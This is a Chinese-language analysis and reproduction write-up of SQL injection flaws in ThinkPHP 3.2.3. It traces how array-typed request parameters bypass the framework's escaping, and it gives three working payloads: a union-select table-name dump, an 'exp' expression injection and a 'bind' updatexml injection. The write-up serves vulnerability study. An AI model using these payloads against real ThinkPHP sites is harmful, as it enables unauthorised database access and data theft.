Thinkphp3.2.3 SQL注入漏洞分析复现
环境搭建
源码下载地址:https://github.com/top-think/thinkphp/releases/tag/3.2.3 修改数据库设置
在数据库中串讲tptest数据库添加user表 在Application/Home/Controller/IndexController.class.php中添加
public function test(){
$data = M('user')->find(I('GET.id'));
var_dump($data);
}
I tp自带的过滤器
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
漏洞分析
通过index.php?index.php?m=Home&c=Index&a=test&id=1访问刚刚的查询代码
开启xdebug调试
首先测试 id=1’ or 1=1%23 跟进I方法 并没有将引号什么的过滤掉 然后进入find方法 调用_parseOptions() 然后又调用了_parseType()方法
这里如果字段类型是int的话直接intval转为数值了 所以数据库中id字段设置为varchr 然后再回到find中id的值还是最开始的 进入select开始查询
这里最后的结果是引号被转义了 跟一下这里的函数
在buildSelectSql()中
parseSql()函数中有过滤
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}
注入点在where后边 跟进parseWhere() 跟进parseWhereItem()
跟进parseValue()
进入escapeString()
addslashes()会将引号转义
如果id列是整型在_parseType()中
elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
会将字符转为数字
如果我们给id传成数组 I()方法返回的是数组 之前返回的是$data=1 如果id是数组 将会进行一个检测
传入数组前后的对比 传入数组前: 传入数组后:
在进入_parseType()前会有个判断
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
因为这里的$options[‘where’]并不是数组 所以直接跳过了强制转化为数字的过程 就绕过了 然后到parseWhere()检查时 直接以字符串作为条件返回
payload1
index.php?m=Home&c=Index&a=test&id[where]=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
造成漏洞的原因是
if (is_numeric($options) is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
如果是正常的请求 这里的$option应该是个字符串然后会进入到这个if里边经过处理变成
$option=array('where'=>array('id'=>'1'))
传入数组后$option为数组并不会进入这个if,此时
$option=array('where'=>'1')
根据代码知道option里边的where存的是查询条件 如果是字符串将会把字符串直接拼接到where后边 如果不是字符串 将进一步把取值 然后作为条件跟着wehre后边eg: where id=1 正常传入是 where id=1 传入数组之后是 where 1
payload2 exp注入
修改test方法
public function test(){
$User = D('User');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);
}
poc
?username[0]=exp&username[1]==-1 union select 1,2,3
跟着poc调试 跟进where方法
else {
$this->options['where'] = $where;
}
return $this;
其他判断都不满足 只有这里有用 进入find方法 还是跟上边那个payload一样 继续往下运行
这里不满足判断 所以没有进入到这里 也就不存在上边说的 会根据是否为int型强制改为整型
进入select()方法
进入buildSelectSql()
进入parseSql() 然后进入parseWhere() 继续进入parseWhereItem()
关键点在
elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
}
拼接成的where子句为
$key=username $val[1]==-1 union select 1,2,3
where $key $val[1]
where username =-1 union select 1,2,3
造成了注入
payload3 bind注入
poc
id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
一步一步跟进 进入update方法里 然后进入parseSet方法
这里name为0
name为0 value为1
这里的strtr函数会将queryStr里的:0=>’1’ 即
UPDATE `user` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)
UPDATE `user` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)
这也是为什么id[1]要以0开头的原因